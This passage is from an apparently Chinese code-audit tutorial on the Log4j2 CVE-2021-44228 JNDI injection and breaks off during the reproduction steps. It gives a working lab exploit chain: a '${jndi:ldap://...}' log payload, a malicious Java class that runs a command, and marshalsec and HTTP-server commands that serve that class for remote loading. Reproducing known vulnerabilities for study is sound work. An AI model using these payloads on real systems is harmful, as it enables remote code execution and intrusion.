如何分析Log4j2 CVE-2021-44228 JNDI注入及递归解析的完整攻击链?

摘要:代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析 目录 环境搭建 漏洞复现 编写测试代码 构造恶意 class 文件 启动 LDAP 转发器 请求流程 使用 JNDI 工具一键利用 代码
代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析 目录 环境搭建 漏洞复现 编写测试代码 构造恶意 class 文件 启动 LDAP 转发器 请求流程 使用 JNDI 工具一键利用 代码审计 payload 入口追踪 MessagePatternConverter:关键转折点 substitute:变量解析核心 resolveVariable:触发入口 Interpolator:协议分发 触发条件与常见入口 WAF 绕过原理 常见绕过 payload 补丁分析 总结 环境搭建 JDK:jdk8u65 Log4j2:2.14.1 pom.xml 依赖: <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies> 添加好依赖之后效果如下: 然后通过 Maven 下载源码,方便后面调试: 漏洞复现 编写测试代码 import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jTest { private static final Logger logger = LogManager.getLogger(Log4jTest.class); public static void main(String[] args) { // 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 模拟用户输入的恶意字符串 String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}"; // 触发漏洞 logger.error("用户输入数据: {}", payload); } } 构造恶意 class 文件 Exploit.java: import java.io.IOException; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } } 执行 javac Exploit.java 编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务: python -m http.server 5566 启动 LDAP 转发器 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389 参数说明: -cp:指定类路径(classpath) marshalsec.jndi.LDAPRefServer:启动 LDAP 转发器(还有 marshalsec.jndi.RMIRef
阅读全文